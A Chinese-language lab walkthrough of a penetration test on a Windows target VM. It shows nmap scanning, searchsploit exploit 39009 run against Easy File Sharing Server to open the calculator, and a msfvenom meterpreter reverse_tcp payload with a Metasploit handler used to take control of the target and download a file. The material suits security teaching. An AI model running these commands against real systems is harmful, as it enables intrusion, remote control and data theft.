简单漏洞复现_网络渗透测试

一、漏洞渗透测试
1、靶机(Windows)安装easy file sharing server（efssetup_2018.zip)，该服务存在漏洞。
2、利用Nmap扫描发现靶机(Windows)运行了该服务。
3、利用该漏洞，使得靶机运行计算器。

获取easy file sharing server

链接：https://pan.baidu.com/s/1WRasVlAb_st--7ZeOkwNVQ 
提取码：1vx1

主要步骤

1.使用nmap扫描同一子网下的主机，扫描发现 靶机 ip：192.168.88.131

2. 输入命令 nmap -sV -o easy-file.txt 192.168.88.131将扫描靶机上服务的版本记录在easy-file.txt文件里。-sV   探测服务/版本信息  -o 输出

 

3.得知靶机运行的服务，随后使用命令:searchsploit easy file sharing ，该命令可以搜索到标题和路径中包含“easy file sharing”的所有内容

选用39009的脚本searchsploit -m 39009

4.输入命令 python2  <Path> (上一步所得的路径) 192.168.10.128（靶机ip） 80（easy file sharing的端口）

Done表示已完成 回到windows,计算器已打开。

 

二、Metasploit应用
1、生成主控端、被控端。
2、获得靶机(Windows)控制权。
3、下载靶机上任意一个文件。

主要步骤：

1.生成被控端

在root终端输入命令：msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.88.128 lport=5000 -f exe -o /var/payload.exe

  将在file system/var目录下生成payload.exe文件,并把这个生成的被控端复制到靶机中

2.启动主控端

在终端中输入 msfconsole  以启动 Metasploit

在Metasploit中使用 handler 来作为主控端   命令为 use exploit/multi/handler

然后设置攻击载荷(被控端)为 windows/meterpreter/reverse_tcp，设置 lhost 为 192.168.88.128(本地主机即攻击机IP)，设置 lport (本地端口)为 5000。再次输入exploit，运行。之后会等待对方上线。

 然后在靶机上双击打开payload.exe，启动这个被控端。再返回kali就会看到在Metasploit中打开了一个session，表示现在可以通过被控端来控制靶机了。

使用命令ls 查看当前目录下的文件

 输入download test.txt（要下载的文件） C:\Documents and Settings\Administrator\桌面（文件路径）